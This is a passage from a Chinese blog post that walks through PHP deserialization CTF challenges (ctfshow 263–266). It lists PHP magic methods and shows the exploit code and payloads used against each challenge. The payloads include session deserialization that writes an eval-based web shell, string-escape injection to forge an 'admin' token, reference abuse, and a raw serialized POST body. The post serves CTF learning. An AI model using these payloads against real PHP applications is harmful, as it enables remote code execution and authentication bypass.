713 字
4 分钟
php反序列化

一,可利用的魔术方法#

1.__construct 构建对象时触发

2.__destruct 销毁对象时触发

3.serialize 序列化时触发

4.__unserialize 反序列化时触发

5.__wakeup 反序列化后触发

6.__tostring 对象被当作字符串时触发

7.__invoke 对象被当作函数时触发

8.__get 访问不存在/不可访问属性时触发

  1. __set(name,name,value) 给不存在/不可访问属性赋值时触发

10.__isset() 调用 isset($obj)时触发

11.__unset unset($obj)时触发

12.__call 调用不存在方法时触发

13.__callStatic 调用不存在静态方法时触发

14.__sleep serilize 时触发

15.__clone 克隆时触发

ctfshow 263#

访问 www.zip 下载源码

inc.php:

index.php:

参考 php session 反序列化漏洞:https://www.freebuf.com/articles/web/324519.html

简单来说就是 session 的值会被序列化存储在指定文件,后面触发 session 又会将文件中的内容反序列化存储到$_SESSION 中,如果输入文件内容可控,存在危险方法就可以利用

1.index 文件中:

$_SESSION['limit']=base64_decode($_COOKIE['limit'])

我们可以通过控制 cookie 的 limit 控制 session 文件的写入

$a = new User('1.php', '<?php eval($_POST["cmd"]) ?>');
$a->setStatus('成功');
echo base64_encode('|'.serialize($a));

注意 php 模式默认格式是 name:| 反序列化 所以这里要拼接一个 |

现在我们控制的序列化内容已写入 session 对应的文件

访问 /in.php 触发 session,从 session 文件中将数据反序列化触发漏洞。成功写入 shell

访问 log-1.php

264 字符串逃逸#

访问 message.php:

需要使得对象的 token 属性为 admin,但是构造函数中没有这个属性的初始化,通过对 t 属性构造完整的语句覆盖后面的 token 来骗过检测

echo serialize(new message(‘f’,‘m’,’“;s:5:“token”;s:5:“admin”;}’));

O:7:“message”:4:{s:4:“from”;s:1:“f”;s:3:“msg”;s:1:“m”;s:2:“to”;s:27:"";s:5:“token”;s:5:“admin”;}“;s:5:“token”;s:4:“user”;}

可以看到已经成功覆盖了对象原本的 token=user 属性,但是 to 对应的字符串的数量对不上

index,php:

if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); $_SESSION['msg']=base64_encode($umsg); echo 'Your message has been sent'; }

字符串中的 loveU 会被换成 fuck,字符数量减少了 1,我们可以利用这个来瞒天过海,我们想要掩盖”;s:5:“token”;s:5:“admin”;}“是 to 中字符串的事实,这段字符串有 28 个字符,所以我们 再传 28 个 fuck,每个 fuck 变为 loveu 多了一个字符就刚好补上这个漏了最终 t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

265 地址引用#

让 password 等于 token 的引用,这样两个的值就一样了

$a=new ctfshowAdmin(1,2);
$a->password=&$a->token;
echo serialize($a);

输出:O:12:“ctfshowAdmin”:2:{s:5:“token”;i:1;s:8:“password”;R:2;}

数组/对象里同一个值被多次引用时,会用 R:/r: 表示引用之前出现过的那个值,后面的值表示 id,我们不去自己构造这个 R,利用 php 自动生成这个

266.#

1.file_get_contents(“php://”),伪协议让 file_get_contents 能读取各种数据流,这里只读,指向 POST 请求的 body 部分,原封不动的读取,所以不能进行 url 编码

2.异常抛出后没有 catch 会导致直接终止程序,对象无法析构

POST:O:7:“Ctfshow”:2:{s:8:“username”;i:1;s:8:“password”;i:1;}

php反序列化
https://lab404.cn/posts/php-deserialization/
作者
见山
发布于
2026-02-15
许可协议
CC BY-NC-SA 4.0